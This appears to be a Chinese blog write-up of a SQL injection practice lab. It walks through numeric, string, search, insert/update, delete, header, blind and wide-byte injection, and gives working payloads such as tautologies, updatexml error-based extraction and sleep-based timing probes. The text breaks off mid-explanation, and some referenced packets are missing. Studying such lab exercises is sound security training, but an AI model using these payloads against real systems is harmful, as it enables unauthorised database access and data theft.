數字型注入(post)
一眼到post注入,直接用burp抓包
抓到包后,構造or 1=1看能不能遍歷
遍歷成功,接着就是進行一些聯合查詢操作,具體操作在 https://www.cnblogs.com/guoqingsentou/p/13488796.html
字符型注入(get)
我們先隨便輸入一串字符,看他的參數為name是字符型,那么他的sql語句很可能是select * from 表名 where username = 'lisi'
根據sql語句構造payload:aa' or 1=1#
搜索型注入
可以推測他的sql語句是用like進行的模糊查詢,具體查詢字段應該是:'%查詢內容%',針對這個字段構造payload:aa%' or 1=1 #
XX型注入
先嘗試單引號對他進行閉合,發現不行,一頓操作(看源碼)發現是括號的原因,再對他構造payload:aa') or 1=1 #
"insert/update"注入
首先對於insert,一般是在注冊頁面,sql語句為:insert into user(name,password,sex,phone,address1,address2) value(’aaa‘,123,1,2,3,4)
對此我們可以構造payload:xxx' or updatexml(1,concat(0x7e,database()),0) or '
至於這個updatexml()和concat()函數,詳見:www.。。。.com(沒鏈接表示我還沒寫)
成功爆出數據庫名
然后是update注入,我看可以看下修改信息的頁面
猜測他的sql語句可能是:update tables set sex = '$sex' where name = 'aaa';
構造payload:xxx' or updatexml(1,concat(0x7e,database()),0) or '
"delete"注入
先隨便留言建立幾條數據,刪除時進行抓包操作
數據包如下:
對url進行構造
成功拿到數據庫:
"http header"注入
正常賬號密碼登錄進來,提示了一些請求頭信息和端口信息
上面有提到user-agent,那么我們從這里入手
同樣的payload,成功爆出數據庫
盲注(base on boolian)
直接拿length()測下長度,ascii()一個字母一個字母的猜就完事了
盲注(base on time)
基於時間的盲注是一般在頁面什么都不返回的時候用
payload:lucy' and sleep(5)# //通過響應時間判斷是否注入成功
lucy' and if(ascii(substr(database(),1,1))>97,sleep(5),null)# //通過if語句,成功會休息5秒,失敗直接顯示
寬字節注入
形成原因:
- 數據庫編碼設置成GBk系列編碼
- 使用了轉義函數
原理:當MySQL在使用GBK編碼的時候,會認為兩個字符是一個繁體漢字,然后讓我們的單引號%27成功逃逸: